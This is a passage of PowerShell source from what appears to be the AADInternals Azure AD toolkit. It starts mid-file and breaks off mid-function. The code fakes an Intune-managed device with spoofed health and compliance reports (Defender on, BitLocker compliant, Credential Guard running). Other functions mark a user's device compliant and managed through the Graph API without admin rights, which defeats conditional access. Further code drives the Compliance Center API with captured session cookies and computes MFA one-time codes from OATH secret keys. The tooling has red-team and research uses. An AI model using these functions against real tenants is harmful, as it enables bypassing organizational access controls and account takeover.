Node="./Vendor/MSFT/SecureAssessment" Version="1.1"/> <CSP Node="./Vendor/MSFT/SecurityPolicy" Version="1.0"/> <CSP Node="./Vendor/MSFT/SharedPC" Version="1.2"/> <CSP Node="./Vendor/MSFT/Storage" Version="1.0"/> <CSP Node="./Vendor/MSFT/TPMPolicy" Version="1.0"/> <CSP Node="./Vendor/MSFT/TenantLockdown" Version="1.0"/> <CSP Node="./Vendor/MSFT/UnifiedWriteFilter" Version="1.0"/> <CSP Node="./Vendor/MSFT/Update" Version="1.1"/> <CSP Node="./Vendor/MSFT/VPNv2" Version="1.0"/> <CSP Node="./Vendor/MSFT/WiFi" Version="1.0"/> <CSP Node="./Vendor/MSFT/Win32AppInventory" Version="1.0"/> <CSP Node="./Vendor/MSFT/WindowsLicensing" Version="1.3"/> <CSP Node="./Vendor/MSFT/eUICCs" Version="1.2"/> <CSP Node="./Vendor/MSFT/uefi" Version="1.0"/> <CSP Node="./cimv2/MDM_AppInstallJob" Version="1.0"/> <CSP Node="./cimv2/MDM_Application" Version="1.0"/> <CSP Node="./cimv2/MDM_ApplicationFramework" Version="1.0"/> <CSP Node="./cimv2/MDM_ApplicationSetting" Version="1.0"/> <CSP Node="./cimv2/MDM_BrowserSecurityZones" Version="1.0"/> <CSP Node="./cimv2/MDM_BrowserSettings" Version="1.0"/> <CSP Node="./cimv2/MDM_Certificate" Version="1.0"/> <CSP Node="./cimv2/MDM_CertificateEnrollment" Version="1.0"/> <CSP Node="./cimv2/MDM_Client" Version="1.0"/> <CSP Node="./cimv2/MDM_ConfigSetting" Version="1.0"/> <CSP Node="./cimv2/MDM_EASPolicy" Version="1.0"/> <CSP Node="./cimv2/MDM_MgmtAuthority" Version="1.0"/> <CSP Node="./cimv2/MDM_RemoteAppUserCookie" Version="1.0"/> <CSP Node="./cimv2/MDM_RemoteApplication" Version="1.0"/> <CSP Node="./cimv2/MDM_Restrictions" Version="1.0"/> <CSP Node="./cimv2/MDM_RestrictionsUser" Version="1.0"/> <CSP Node="./cimv2/MDM_SecurityStatus" Version="1.0"/> <CSP Node="./cimv2/MDM_SecurityStatusUser" Version="1.0"/> <CSP Node="./cimv2/MDM_SideLoader" Version="1.0"/> <CSP Node="./cimv2/MDM_Updates" Version="1.0"/> <CSP Node="./cimv2/MDM_VpnApplicationTrigger" Version="1.0"/> <CSP Node="./cimv2/MDM_VpnConnection" Version="1.0"/> <CSP Node="./cimv2/MDM_WNSChannel" Version="1.0"/> <CSP Node="./cimv2/MDM_WNSConfiguration" Version="1.0"/> <CSP Node="./cimv2/MDM_WebApplication" Version="1.0"/> <CSP Node="./cimv2/MDM_WirelessProfile" Version="1.0"/> <CSP Node="./cimv2/MDM_WirelessProfileXml" Version="1.0"/> <CSP Node="./cimv2/MSFT_NetFirewallProfile" Version="1.0"/> <CSP Node="./cimv2/MSFT_VpnConnection" Version="1.0"/> <CSP Node="./cimv2/Win32_DisplayConfiguration" Version="1.0"/> <CSP Node="./cimv2/Win32_EncryptableVolume" Version="1.0"/> <CSP Node="./cimv2/Win32_InfraredDevice" Version="1.0"/> <CSP Node="./cimv2/Win32_LocalTime" Version="1.0"/> <CSP Node="./cimv2/Win32_LogicalDisk" Version="1.0"/> <CSP Node="./cimv2/Win32_NetworkAdapter" Version="1.0"/> <CSP Node="./cimv2/Win32_NetworkAdapterConfiguration" Version="1.0"/> <CSP Node="./cimv2/Win32_OperatingSystem" Version="1.0"/> <CSP Node="./cimv2/Win32_PhysicalMemory" Version="1.0"/> <CSP Node="./cimv2/Win32_PnPDevice" Version="1.0"/> <CSP Node="./cimv2/Win32_PortableBattery" Version="1.0"/> <CSP Node="./cimv2/Win32_Processor" Version="1.0"/> <CSP Node="./cimv2/Win32_QuickFixEngineering" Version="1.0"/> <CSP Node="./cimv2/Win32_Registry" Version="1.0"/> <CSP Node="./cimv2/Win32_Service" Version="1.0"/> <CSP Node="./cimv2/Win32_Share" Version="1.0"/> <CSP Node="./cimv2/Win32_SystemBIOS" Version="1.0"/> <CSP Node="./cimv2/Win32_SystemEnclosure" Version="1.0"/> <CSP Node="./cimv2/Win32_TimeZone" Version="1.0"/> <CSP Node="./cimv2/Win32_UTCTime" Version="1.0"/> <CSP Node="./cimv2/Win32_WindowsUpdateAgentVersion" Version="1.0"/> <CSP Node="./cimv2/WpcAppOverride" Version="1.0"/> <CSP Node="./cimv2/WpcGameOverride" Version="1.0"/> <CSP Node="./cimv2/WpcGamesSettings" Version="1.0"/> <CSP Node="./cimv2/WpcRating" Version="1.0"/> <CSP Node="./cimv2/WpcRatingsDescriptor" Version="1.0"/> <CSP Node="./cimv2/WpcRatingsSystem" Version="1.0"/> <CSP Node="./cimv2/WpcSystemSettings" Version="1.0"/> <CSP Node="./cimv2/WpcURLOverride" Version="1.0"/> <CSP Node="./cimv2/WpcUserSettings" Version="1.0"/> <CSP Node="./cimv2/WpcWebSettings" Version="1.0"/> </CSPVersions> </Capabilities> </DeviceManageability> "@ } Process { if(!$Certificate) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } # Initialise some variables #$sessionId = 1 $msgId = 1 # Increased by one per message $hwId = (Convert-ByteArrayToHex -Bytes ([System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([text.encoding]::UTF8.GetBytes($DeviceName)))).ToUpper() $encDeviceName=[System.Web.HttpUtility]::HtmlEncode($DeviceName) $tenantId = (New-Guid).ToString() # The default settings $settings = @{ "./cimv2/Win32_OperatingSystem" = "Win32_OperatingSystem=@" "./cimv2/Win32_LogicalDisk" = "Win32_LogicalDisk.DeviceID=""C:""/Win32_LogicalDisk.DeviceID=""D:""" "./cimv2/Win32_OperatingSystem/Win32_OperatingSystem%3D%40/SystemDrive" = "C:" "./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22AccountId%22/SettingValue" = "36684b40-1895-4ebf-b11d-b465be552b2f" "./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName3D%22AccountId%22/SettingValue" = "36684b40-1895-4ebf-b11d-b465be552b2f" "./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientHealthStatus%22/SettingValue" = "" "./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientDeploymentErrorCode%22/SettingValue" = "" "./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientHealthLastSyncTime%22/SettingValue" = "" "./DevInfo/DevId" = $DeviceName "./DevInfo/Man" = "Microsoft Corporation" "./DevInfo/Mod" = "Virtual Machine" "./DevInfo/DmV" = "1.3" "./DevInfo/Lang" = "en-US" "./DevDetail/SwV" = "10.0.18363.1016" "./DevDetail/FwV" = "Hyper-V UEFI Release v4.0" "./DevDetail/HwV" = "Hyper-V UEFI Release v4.0" "./DevDetail/OEM" = "Microsoft Corporation" "./DevDetail/DevTyp" = "Virtual Machine" "./DevDetail/Ext/Microsoft/LocalTime" = "$((Get-Date).ToString("yyyy-MM-ddTHH:mm:ss").Replace(".",":")).$((Get-Date).ToString("fffffffK"))" "./DevDetail/Ext/Microsoft/DeviceName" = $encDeviceName "./DevDetail/Ext/Microsoft/DNSComputerName" = $encDeviceName "./DevDetail/Ext/Microsoft/OSPlatform" = "Windows 10 Enterprise" "./DevDetail/Ext/Microsoft/ProcessorArchitecture" = "9" "./DevDetail/Ext/Microsoft/ProcessorType" = "8664" "./DevDetail/Ext/Microsoft/TotalRAM" = "1" "./DevDetail/Ext/Microsoft/TotalStorage" = "1" "./DevDetail/Ext/Microsoft/SMBiosSerialNumber" = "0000-0000-0000-0000-0000-0000-00" "./DevDetail/Ext/Microsoft/MobileID" = "Not Present" "./Vendor/MSFT/eUICCs" = "com.microsoft/1.2/MDM/eUICCs" "./Vendor/MSFT/NodeCache/MS%20DM%20Server" = "CacheVersion/Nodes/ChangedNodes/ChangedNodesData" "./Vendor/MSFT/NodeCache/MS%20DM%20Server/CacheVersion" = "" "./Vendor/MSFT/NodeCache/MS%20DM%20Server/ChangedNodes" = "" "./Vendor/MSFT/WindowsLicensing/Edition" = "4" "./Vendor/MSFT/WindowsLicensing/Status" = "3" # Completed "./Vendor/MSFT/WindowsLicensing/SMode/Status" = "0" # Successfully switched out of S mode "./Vendor/MSFT/Update/LastSuccessfulScanTime" = (Get-Date).AddMinutes(-10).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ") "./Vendor/MSFT/Update/InstallableUpdates" = "" "./Vendor/MSFT/Update/PendingRebootUpdates" = "" "./Vendor/MSFT/DeviceStatus/NetworkIdentifiers" = "000000000000" "./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IPAddressV4" = "192.168.0.2" "./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IPAddressV6" = "" "./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IsConnected" = "true" "./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/Type" = "1" # 1=LAN, 2=WLAN "./Vendor/MSFT/DeviceStatus/OS/Mode" = "0" "./Vendor/MSFT/DeviceStatus/OS/Edition" = "4" "./Vendor/MSFT/DeviceStatus/CellularIdentities" = "" "./Vendor/MSFT/DeviceStatus/Compliance/EncryptionCompliance" = "true" "./Vendor/MSFT/PassportForWork/$tenantId/Policies/UsePassportForWork" = "true" "./Vendor/MSFT/PassportForWork/$tenantId/Policies/RequireSecurityDevice" = "true" "./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/MinimumPINLength" = "6" "./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/MaximumPINLength" = "127" "./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/UppercaseLetters" = "1" # 0=allowed, 1=required, 2=not allowed "./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/LowercaseLetters" = "1" # 0=allowed, 1=required, 2=not allowed "./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/SpecialCharacters" = "1" # 0=allowed, 1=required, 2=not allowed "./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/Digits" = "1" # 0=allowed, 1=required, 2=not allowed "./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/History" = "1" # 0=allowed, 1=required, 2=not allowed "./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/Expiration" = "50" # 0-50 "./Vendor/MSFT/PassportForWork/$tenantId/Policies/Remote/UseRemotePassport" = "false" "./Vendor/MSFT/PassportForWork/Biometrics/UseBiometrics" = "true" "./Vendor/MSFT/PassportForWork/Biometrics/FacialFeaturesUseEnhancedAntiSpoofing" = "true" "./Vendor/MSFT/DeviceStatus/TPM/SpecificationVersion" = "2.0" "./Vendor/MSFT/DeviceStatus/DomainName" = "" "./Vendor/MSFT/DeviceStatus/DeviceGuard/LsaCfgCredGuardStatus" = "0" # Running "./Vendor/MSFT/DeviceStatus/DeviceGuard/VirtualizationBasedSecurityHwReq" = "0" # System meets hardware configuration requirements "./Vendor/MSFT/DeviceStatus/DeviceGuard/VirtualizationBasedSecurityStatus" = "0" # Running "./Vendor/MSFT/DeviceStatus/Battery/EstimatedRuntime" = "-1" # AC connected "./Vendor/MSFT/DeviceStatus/Battery/EstimatedChargeRemaining" = "-1" # AC "./Vendor/MSFT/DeviceInstanceService/PhoneNumber" = "1234567890" "./Vendor/MSFT/Defender/Detections" = "" "./Vendor/MSFT/Defender/Health" = "ProductStatus/ComputerState/DefenderEnabled/RtpEnabled/NisEnabled/QuickScanOverdue/FullScanOverdue/SignatureOutOfDate/RebootRequired/FullScanRequired/EngineVersion/SignatureVersion/DefenderVersion/QuickScanTime/FullScanTime/QuickScanSigVersion/FullScanSigVersion/TamperProtectionEnabled/IsVirtualMachine" "./Vendor/MSFT/Defender/Health/ProductStatus" = "0" "./Vendor/MSFT/Defender/Health/ComputerState" = "0" "./Vendor/MSFT/Defender/Health/TamperProtectionEnabled" = "true" "./Vendor/MSFT/Defender/Health/DefenderEnabled" = "true" "./Vendor/MSFT/Defender/Health/RtpEnabled" = "true" "./Vendor/MSFT/Defender/Health/NisEnabled" = "true" "./Vendor/MSFT/Defender/Health/QuickScanOverdue" = "false" "./Vendor/MSFT/Defender/Health/FullScanOverdue" = "false" "./Vendor/MSFT/Defender/Health/SignatureOutOfDate" = "false" "./Vendor/MSFT/Defender/Health/RebootRequired" = "false" "./Vendor/MSFT/Defender/Health/FullScanRequired" = "false" "./Vendor/MSFT/Defender/Health/EngineVersion" = "1.1.17400.5" "./Vendor/MSFT/Defender/Health/SignatureVersion" = "1.323.410.0" "./Vendor/MSFT/Defender/Health/DefenderVersion" = "4.18.2008.9" "./Vendor/MSFT/Defender/Health/QuickScanTime" = (Get-Date).AddHours(-1).ToUniversalTime().ToString("MM/dd/yyyy HH:mm:ss UTC") "./Vendor/MSFT/Defender/Health/FullScanTime" = (Get-Date).AddHours(-2).ToUniversalTime().ToString("MM/dd/yyyy HH:mm:ss UTC") "./Vendor/MSFT/Defender/Health/QuickScanSigVersion" = "1.321.2151.0" "./Vendor/MSFT/Defender/Health/FullScanSigVersion" = "1.321.2151.0" "./Vendor/MSFT/Defender/Health/IsVirtualMachine" = "true" "./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDMID" = "0" "./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDeviceName" = "$encDeviceName mgmt" "./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/AADResourceID" = "https://manage.microsoft.com" "./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Poll/IntervalForRemainingScheduledRetries" = "480" "./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Poll/PollOnLogin" = "false" "./Vendor/MSFT/DMClient/HWDevID" = $hwId "./Vendor/MSFT/HealthAttestation/Status" = "3" # DHA-Data is ready for pic up "./Vendor/MSFT/Update/FailedUpdates" = "" "./Vendor/MSFT/Office/Installation/CurrentStatus" = "" # XML of current Office 365 installation status on the device "./Device/Vendor/MSFT/DeviceManageability/Capabilities/CSPVersions" = [Security.SecurityElement]::Escape($CSPVersions) "./Device/Vendor/MSFT/BitLocker/Status/DeviceEncryptionStatus" = "0" # Compliant "./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/IsSyncDone" = "true" "./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/SkipDeviceStatusPage" = "true" "./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/SkipUserStatusPage" = "true" "./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/TimeOutUntilSyncFailure" = "60" "./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/ServerHasFinishedProvisioning" = "true" "./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/WasDeviceSuccessfullyProvisioned" = "1" # 0=failure, 1=success, 2=in progress } # Initial commands $commands = @() $commands += New-Object psobject -Property @{"Type" = "Alert"; "Data" = "1201"; CmdID = 1 } $commands += New-Object psobject -Property @{"Type" = "Alert"; "Data" = "1224"; CmdID = 2 ; "ItemData"= ($Scope.ToLower()) ; "MetaType"="com.microsoft/MDM/LoginStatus"} $attr = [ordered]@{ Type = "Replace" CmdID = 3 Items = @{ "./DevInfo/DevId" = $DeviceName "./DevInfo/Man" = "Microsoft Corporation" "./DevInfo/Mod" = "Virtual Machine" "./DevInfo/DmV" = "1.3" "./DevInfo/Lang" = "en-US" } } $commands += New-Object psobject -Property $attr # Keep looping until no more commands than <Status> while($commands.count -ge 1) { $f=$msgId Write-Verbose "=> Sending message ($f) with $($commands.Count) commands." $req = New-SyncMLRequest -commands $commands -DeviceName $encDeviceName -SessionID $sessionId -MsgID ($msgId++) # Debug if($DebugPreference) { $req | set-content "req$f.xml" } $res = Invoke-SyncMLRequest -SyncML $req -Certificate $Certificate # Debug if($DebugPreference) { $res.OuterXml | set-content "res$f.xml" } $commands = Parse-SyncMLResponse -SyncML $res Write-Verbose " Received response ($f) with $($commands.Count) commands." # Response to all with 400 - bad request (except for the things at settings) $commands = New-SyncMLAutoresponse -DeviceName $DeviceName -Commands $commands -MsgID $msgId -Settings $settings } } } # Remove the device from intune # Sep 7th function Remove-DeviceFromIntune { <# .SYNOPSIS Removes (un-enrolls) the given device from Intune. .DESCRIPTION Removes the given device to from Intune. .Parameter Certificate x509 certificate of the device. .Parameter PfxFileName File name of the .pfx certificate of the device. .Parameter PfxPassword The password of the .pfx certificate of the device. .EXAMPLE Remove-AADIntAccessDeviceFromIntune -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [string]$PfxPassword ) Process { if(!$Certificate) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } # Get the device id from the certificate $deviceId = $Certificate.Subject.Split("=")[1] $requestId = (New-Guid).ToString() $headers=@{ "Accept" = "application/json1" "Accept-Charset" = "UTF-8" "User-Agent" = "Dsreg/10.0 (Windows 10.0.18363.0)" "ocp-adrs-client-name" = "Dsreg" "ocp-adrs-client-version" = "10.0.18362.0" "return-client-request-id" = "true" "client-Request-Id" = $requestId } try { Write-Verbose "Removing device $deviceId from Intune. Request Id: $requestId" $response = Invoke-WebRequest -UseBasicParsing -Certificate $Certificate -Method Delete -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/$($deviceId)?api-version=1.0" -Headers $headers -ErrorAction SilentlyContinue Write-Verbose "Device $deviceId removed from Intune." } catch { if($_.ErrorDetails.Message) { throw ($_.ErrorDetails.Message | Convertfrom-Json).message } else { throw "Remove failed! $($_.message)" } } return $response } } # Get's device compliance # Sep 11th 2020 function Get-DeviceCompliance { <# .SYNOPSIS Gets the device compliance status. .DESCRIPTION Gets the user's device compliance status using AAD Graph API. Does not require admin rights! .Parameter AccessToken The access token used to set the compliance. .Parameter DeviceId Azure AD device id of the device. .Parameter ObjectId Azure AD object id of the device. .Parameter All Returns all devices. .Parameter My Returns all user's devices. .EXAMPLE Get-AADIntAccessTokenForAADGraph -SaveToCache PS C\:>Get-AADIntDeviceCompliance -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" displayName : SixByFour objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0 deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7 isCompliant : False isManaged : True deviceOwnership : Company .EXAMPLE Get-AADIntAccessTokenForAADGraph -SaveToCache PS C\:>Get-AADIntDeviceCompliance -My | ft displayName objectId deviceId isCompliant isManaged deviceOwnership deviceTrustType ----------- -------- -------- ----------- --------- --------------- --------------- SixByFour 2eaa21a1-6362-4d3f-afc4-597592217ef0 d03994c9-24f8-41ba-a156-1805998d6dc7 False True Company AzureAd DESKTOP-X4LCS 8ba68233-4d2b-4331-8b8b-27bc53204d8b c9dcde64-5d0f-4b3c-b711-cb6947837dc2 False True Company ServerAd SM-1234 c00af9fe-108e-446b-aeee-bf06262973dc 74080692-fb38-4a7b-be25-27d9cbf95705 Personal AzureAd #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='DeviceID',Mandatory=$True)] [String]$DeviceId, [Parameter(ParameterSetName='ObjectID',Mandatory=$True)] [String]$ObjectId, [Parameter(ParameterSetName='All',Mandatory=$True)] [Switch]$All, [Parameter(ParameterSetName='My',Mandatory=$True)] [Switch]$My ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" $parsedToken = Read-Accesstoken -AccessToken $AccessToken $tenantId = $parsedToken.tid $headers=@{ "Authorization" = "Bearer $AccessToken" "Accept" = "application/json;odata=nometadata" } # Get the object Id if not given if(!$All -and !$My -and [string]::IsNullOrEmpty($ObjectId)) { $ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken } $select="`$select=displayName,objectId,deviceId,isCompliant,isManaged,deviceOwnership,deviceManagementAppId,deviceTrustType,onPremisesSecurityIdentifier" if($All) { $url="https://graph.windows.net/$tenantId/devices?$select&api-version=1.61-internal" } elseif($My) { $url="https://graph.windows.net/Me/ownedDevices?$select&api-version=1.61-internal" } else { $url="https://graph.windows.net/$tenantId/devices/$($ObjectId)?$select&api-version=1.61-internal" } $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url -Headers $headers if($response.value) { return $response.value } else { return $response } } } # Set's device compliance # Sep 11th 2020 function Set-DeviceCompliant { <# .SYNOPSIS Sets the device compliant. .DESCRIPTION Sets the user's device compliant using AAD Graph API. Does not require admin rights. Compliant and managed statuses can be used in conditional access (CA) rules. .Parameter AccessToken The access token used to set the compliance. .Parameter DeviceId Azure AD device id of the device. .Parameter ObjectId Azure AD object id of the device. .EXAMPLE Get-AADIntAccessTokenForAADGraph -SaveToCache PS C\:>Set-AADIntDeviceCompliant -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" displayName : SixByFour objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0 deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7 isCompliant : True isManaged : True deviceOwnership : #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='DeviceID',Mandatory=$True)] [String]$DeviceId, [Parameter(ParameterSetName='ObjectID',Mandatory=$True)] [String]$ObjectId, [Switch]$Compliant, [Switch]$Managed, [Switch]$Intune ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" $parsedToken = Read-Accesstoken -AccessToken $AccessToken $tenantId = $parsedToken.tid $body=@{} if($Compliant) {$body["isCompliant"] = "true"} if($Managed) {$body["isManaged"] = "true"} if($Intune) {$body["deviceManagementAppId"] = "0000000a-0000-0000-c000-000000000000"} $headers=@{ "Authorization" = "Bearer $AccessToken" } # Get the object Id if not given if([string]::IsNullOrEmpty($ObjectId)) { $ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken } # Set the device compliance Invoke-RestMethod -UseBasicParsing -Method Patch -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?api-version=1.61-internal" -Headers $headers -Body ($body|ConvertTo-Json) -ContentType "application/json" Get-DeviceCompliance -ObjectId $ObjectId -AccessToken $AccessToken } }
ComplianceAPI_utils.ps1
AADInternals-0.9.4
# This file contains utility functions for Compliance API # Invokes request for the given compliance API call # Aug 31st 2021 function Invoke-ComplianceAPIRequest { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [psobject]$Cookies, [Parameter(Mandatory=$True)] [String]$api, [Parameter(Mandatory=$False)] [String]$Method = "Get", [Parameter(Mandatory=$False)] [String]$Body = $null, [Parameter(Mandatory=$False)] [String]$ContentType = "application/json; charset=utf-8", [Parameter(Mandatory=$False)] [Hashtable]$Headers=@{} ) Process { # Check the cookies if(!($Cookies.'XSRF-TOKEN' -and $Cookies.sccauth)) { Throw "XSRF-TOKEN and sccauth cookies required!" } $url = "https://compliance.microsoft.com/api/$api" # First, add XSRF-TOKEN to headers $Headers["X-XSRF-TOKEN"] = [System.Net.WebUtility]::UrlDecode($Cookies.'XSRF-TOKEN') # Create a web session for the cookies $session = New-Object Microsoft.PowerShell.Commands.WebRequestSession $session.Cookies.Add([System.Net.Cookie]::new("XSRF-TOKEN",$Cookies.'XSRF-TOKEN',"/","compliance.microsoft.com")) $session.Cookies.Add([System.Net.Cookie]::new("sccauth", $Cookies.sccauth ,"/","compliance.microsoft.com")) $session.Cookies.MaxCookieSize=65536 # Invoke the command if($Method -eq "Put" -or $Method -eq "Post") { Invoke-RestMethod -UseBasicParsing -Method $Method -Uri $url -Headers $Headers -WebSession $session -Body $body -ContentType $ContentType } else { Invoke-RestMethod -UseBasicParsing -Method $Method -Uri $url -Headers $Headers -WebSession $session -ContentType $ContentType } } }
MFA_utils.ps1
AADInternals-0.9.4
# Creates an Oath counter # Jun 26th 2020 function Get-OathCounter { [cmdletbinding()] Param() Process { $OathCounter = [int](((Get-Date).ToUniversalTime() - $epoch).TotalSeconds / 30) return $OathCounter } } # Generates a new time-based OTP for MFA # Jun 26th 2020 function Generate-tOTP { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$SecretKey, [Parameter(Mandatory=$False)] [int]$Seconds=0, [Parameter(Mandatory=$False)] [int]$TimeShift=0, [Parameter(Mandatory=$False)] [int]$TimeStep=30, [Parameter(Mandatory=$False)] [int]$Digits=6 ) Process { if ($Digits -le 0) { $Digits = 6 # Can't be zero so default to six } if($Seconds -le 0) { # Can't be zero so default to current time $Seconds = [int]((Get-Date).ToUniversalTime() -$epoch).TotalSeconds } if($TimeStep -le 0) { $TimeStep = 30 # Can't be zero, so default to 30 seconds } $Seconds = ($Seconds + $TimeShift) / $TimeStep [byte[]]$timeBytes = @( 0,0,0,0, # Integer has only 4 bytes so the first four are zeros [byte](([int]$Seconds -shr 24) -band 255), [byte](([int]$Seconds -shr 16) -band 255), [byte](([int]$Seconds -shr 8) -band 255), [byte]( [int]$Seconds -band 255) ) return Generate-hOTP -SecretKey $SecretKey -timeBytes $timeBytes -Digits $Digits } } # Generates a new HMAC based OTP for MFA # Jun 26th 2020 function Generate-hOTP { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$SecretKey, [Parameter(Mandatory=$True)] [byte[]]$TimeBytes, [Parameter(Mandatory=$True)] [int]$Digits, [Parameter(Mandatory=$False)] [int]$Position = 0 ) Begin { $hOtpFullResult = 1073741840 } Process { $divider=0 if ($Digits -ge 1 -and $Digits -le 9) { $divider = [Math]::Pow(10, $Digits) } elseif ($Digits -eq $hOtpFullResult) { $divider = 0 } else { throw "Only 1-9 digits are accepted!" } # Calculate the hash using the secret as a key [byte[]]$decodedSecret = From-Base32String -Secret $SecretKey $HmacSHA1 = [Security.Cryptography.HMACSHA1]::new($decodedSecret) $hmacSize = 20 $hash=$HmacSHA1.ComputeHash($TimeBytes) if ($divider -gt 0) { if ($Position -le 0 -or $Position -ge ($hmacSize - 4)) { $Position = $hash[$hmacSize- 1] -band 15 } # Generate the OTP from the hash $retVal = ($hash[$Position] -band 127) -shl 24 $retVal = $retVal -bor ($hash[$Position + 1] -band 255) -shl 16 $retVal = $retVal -bor ($hash[$Position + 2] -band 255) -shl 8 $retVal = $retVal -bor ($hash[$Position + 3] -band 255) $retVal = $retVal % $divider return $retVal } else { return Convert-ByteArrayToHex -Bytes $hash } } } # Generates a validation code # Jun 27th 2020 function Generate-ValidationCode { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$SecretKey, [Parameter(Mandatory=$False)] [int]$OathCounter=0 ) Process { if ($OathCounter -le 0) { $OathCounter = Get-OathCounter } $validationCode = Generate-tOTP -SecretKey $SecretKey -Digits 1073741840 -Seconds ($OathCounter*30) return $validationCode.toLower() } } # Converts Base32 string to bytes # Jun 26th 2020 # Credits: HumanEquivalentUnit function From-Base32String { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Secret ) Process { $bigInteger = [Numerics.BigInteger]::Zero foreach ($char in ($secret.ToUpper() -replace '[^A-Z2-7]').GetEnumerator()) { $bigInteger = ($bigInteger -shl 5) -bor ('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'.IndexOf($char)) } [byte[]]$secretAsBytes = $bigInteger.ToByteArray() # BigInteger sometimes adds a 0 byte to the end, # if the positive number could be mistaken as a two's complement negative number. # If it happens, we need to remove it. if ($secretAsBytes[-1] -eq 0) { $secretAsBytes = $secretAsBytes[0..($secretAsBytes.Count - 2)] } # BigInteger stores bytes in Little-Endian order, # but we need them in Big-Endian order. [array]::Reverse($secretAsBytes) return [byte[]]$secretAsBytes } } # Converts Base32 string to bytes # Jun 26th 2020 # Credits: HumanEquivalentUnit function To-Base32String { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Secret ) Process { $byteArrayAsBinaryString = -join $Secret.ForEach{ [Convert]::ToString($_, 2).PadLeft(8, '0') } $Base32Secret = [regex]::Replace($byteArrayAsBinaryString, '.{5}', { param($Match) 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'[[Convert]::ToInt32($Match.Value, 2)] }) return $Base32Secret } } # Parses authentication apps data # Jun 27th 2020 function Parse-AuthApps { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] $appDetails ) Process { $apps=@() foreach($app in $appDetails) { $appAtributes = [ordered]@{ "AuthenticationType"=$app.AuthenticationType "DeviceName"= $app.DeviceName "DeviceTag"= $app.DeviceTag "DeviceToken"= $app.DeviceToken "Id"= $app.Id "NotificationType"= $app.NotificationType "OathTokenTimeDrift"=$app.OathTokenTimeDrift "OathSecretKey"= $app.OathTokenSecretKey "PhoneAppVersion"= $app.PhoneAppVersion "TimeInterval"= $app.TimeInterval "LastAuthTime" = $(if($app.lastAuthenticatedTimestamp){[DateTime]$app.lastAuthenticatedTimestamp}else{$null}) } $apps+=New-Object psobject -Property $appAtributes } return $apps } } # Gets MFA App Registration information (i.e. url, activation code, and session context) # Jul 1st 2020 function Get-MFAAppRegistrationInfo { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken, [Parameter(Mandatory=$False)] [ValidateSet("APP","OTP")] 